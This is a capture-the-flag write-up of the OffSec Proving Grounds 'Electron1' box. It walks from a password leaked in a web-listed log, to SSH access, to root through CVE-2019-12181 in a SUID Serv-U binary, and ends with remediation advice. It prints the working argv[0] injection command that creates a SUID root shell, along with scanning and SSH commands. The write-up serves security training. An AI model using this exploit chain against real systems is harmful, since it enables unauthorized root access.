Skip to content
Zone for Exploration and
Understanding of Security
← All writeups
Web Medium

Electron1

OffSec Proving Grounds · Linux · eLection CMS · boot-to-root

Vulnerability
Exposed log → leaked creds → SSH → SUID Serv-U (CVE-2019-12181)
Impact
Full compromise — user and root flags captured (2/2)
Tools
nmap, gobuster, curl, sshpass, searchsploit, gcc
Given
A single IP, no credentials
FLAGS  ✓ user + root captured — values redacted
Cyber Kill Chain
Reconnaissancenmap, gobuster
→
Credential Accessexposed system.log
→
Initial AccessSSH as love
→
Privilege EscalationSUID Serv-U argv[0] injection
→
Impactroot access

MITRE ATT&CK Mapping

Tactic Technique ID Evidence
Discovery Active Scanning: Wordlist Scanning T1595.003 gobuster found the /election/ app and a directory-listed /admin/logs/
Credential Access Unsecured Credentials: Credentials In Files T1552.001 A world-readable system.log disclosed a plaintext account password
Initial Access Valid Accounts: Local Accounts / Remote Services: SSH T1078.003 + T1021.004 The leaked CMS password was reused for the system account over SSH
Privilege Escalation Exploitation for Privilege Escalation T1068 CVE-2019-12181 — argv[0] command injection against a SUID-root Serv-U binary

Vulnerability Analysis

Root Causes: An application wrote a credential into a log that was then served over the web, that credential was reused for a shell account, and a leftover SUID binary carried a known local-privilege-escalation CVE.

  • CWE-532: Insertion of Sensitive Information into Log File — the eLection app logged a user's password in cleartext
  • CWE-548: Exposure of Information Through Directory Listing — the /admin/logs/ directory was browsable, exposing system.log
  • CWE-522: Insufficiently Protected Credentials — the same password protected both the CMS and the SSH account
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command — CVE-2019-12181 in Serv-U < 15.1.7

Severity: The privilege-escalation step maps to CVE-2019-12181 — CVSS v3.1 base 7.8 (High). The information-disclosure and credential-reuse issues are lab misconfigurations with no scored CVSS; their combined effect is unauthenticated-to-root.

References:
CVE-2019-12181 CWE-532 CWE-548 CWE-522

Summary

Electron1 is a Linux host exposing SSH and an Apache server that hosts the eLection web application. Directory brute-forcing uncovered the app's admin area with directory listing enabled on its log folder; the exposed system.log contained a user's password in cleartext. That password had been reused for the matching system account, so it logged straight in over SSH. From that foothold, a non-standard SUID-root copy of the Serv-U file server (v15.1.6) was vulnerable to CVE-2019-12181 — an argv[0] command injection via -prepareinstallation — which produced a root shell.

Key insight: the whole foothold hinges on a single logged password. Applications that write secrets into logs, plus a webserver that lists those logs, is unauthenticated credential disclosure — no exploit required.

Recon

A service scan plus a full-port scan confirmed only SSH (22) and HTTP (80):

shell
nmap -sC -sV <target>
nmap -p- --min-rate 5000 <target>
PortServiceVersion
22SSHOpenSSH 7.6p1 (Ubuntu)
80HTTPApache 2.4.29 (Ubuntu)

Web enumeration

The web root served only the default Apache page, but gobuster plus robots.txt pointed at an /election/ directory. A phpinfo.php was also exposed, confirming a permissive PHP config (allow_url_include = On, shell functions not disabled) — useful context, though the real way in came from the app's logs.

shell
gobuster dir -u http://<target>/ -w /usr/share/wordlists/dirb/common.txt -x php,txt
gobuster dir -u http://<target>/election/admin/ -w /usr/share/wordlists/dirb/common.txt

The admin area's /logs/ directory had directory listing enabled, exposing a single system.log.

Credential access — exposed log

Fetching the log revealed an account password written in cleartext by the application:

text · system.log
[2020-01-01 00:00:00] Assigned Password for the user love: <redacted>
[2020-04-03 00:13:53] Love added candidate 'Love'.
[2020-04-08 19:26:34] Love has been logged in ...

Why this matters: a password in a log file is a password in cleartext storage. Served over HTTP with no auth and directory listing on, it's handed to any visitor.

Initial access — SSH

The leaked CMS password was reused for the love system account, so SSH logged straight in and the user flag was readable in the home directory:

shell
sshpass -p '<redacted>' ssh -o StrictHostKeyChecking=no love@<target> 'id; cat ~/local.txt'
# uid=1000(love) ... groups=...,33(www-data),4(adm)
# <user flag redacted>

Privilege escalation — SUID Serv-U (CVE-2019-12181)

Enumerating SUID binaries surfaced a non-standard one: /usr/local/Serv-U/Serv-U, SUID root. strings and a nearby installer confirmed Serv-U 15.1.6, which searchsploit flagged as vulnerable to CVE-2019-12181:

shell
find / -perm -4000 -type f 2>/dev/null
# ...
# /usr/local/Serv-U/Serv-U   <=== SUID root, non-standard
searchsploit serv-u 15.1
# Serv-U FTP Server < 15.1.7 - Local Privilege Escalation  (CVE-2019-12181)

The vulnerability runs whatever is passed as argv[0] as a shell command when the binary is invoked with -prepareinstallation. Because the binary is SUID root, that command runs as root. Bash's exec -a sets argv[0] to a payload that makes a root-owned SUID copy of bash:

shell
/bin/bash -c 'exec -a "\";cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx /tmp/sh;\"" \
  /usr/local/Serv-U/Serv-U -prepareinstallation'

/tmp/sh -p -c 'id; cat /root/proof.txt'
# uid=1000(love) euid=0(root) ...
# <root flag redacted>

The "Permission denied" noise from the injected string is expected — the payload inside argv[0] still executes as root, leaving a euid=0 shell that reads the root flag.

Note on method: a first attempt with LD_PRELOAD failed — the kernel strips it for SUID binaries by design. The working primitive is the binary's own argv[0] handling, not the environment.

Findings & remediation

#FindingSeverityRemediation
1Application logs a password in cleartextHighNever log secrets; redact credentials before writing to any log
2Directory listing enabled on /admin/logs/MediumDisable auto-indexing (Options -Indexes); keep logs out of the webroot
3CMS password reused for the SSH accountHighUnique credentials per system; enforce key-based SSH auth
4Exposed phpinfo.php with permissive PHP configMediumRemove phpinfo from production; disable allow_url_include
5SUID-root Serv-U 15.1.6 (CVE-2019-12181)CriticalPatch to Serv-U ≥ 15.1.7 and remove the SUID bit; no file server needs SUID root

Takeaways

  • Logs are loot. The entire foothold was one line in a web-exposed log file.
  • Reuse multiplies a single leak. One password opened both the app and the OS account.
  • Read the exploit, don't just run it. The win was understanding why LD_PRELOAD fails on SUID and that argv[0] was the real injection point.

Practice next

Explore more web security challenges on OffSec Proving Grounds.

Explore OffSec Proving Grounds ↗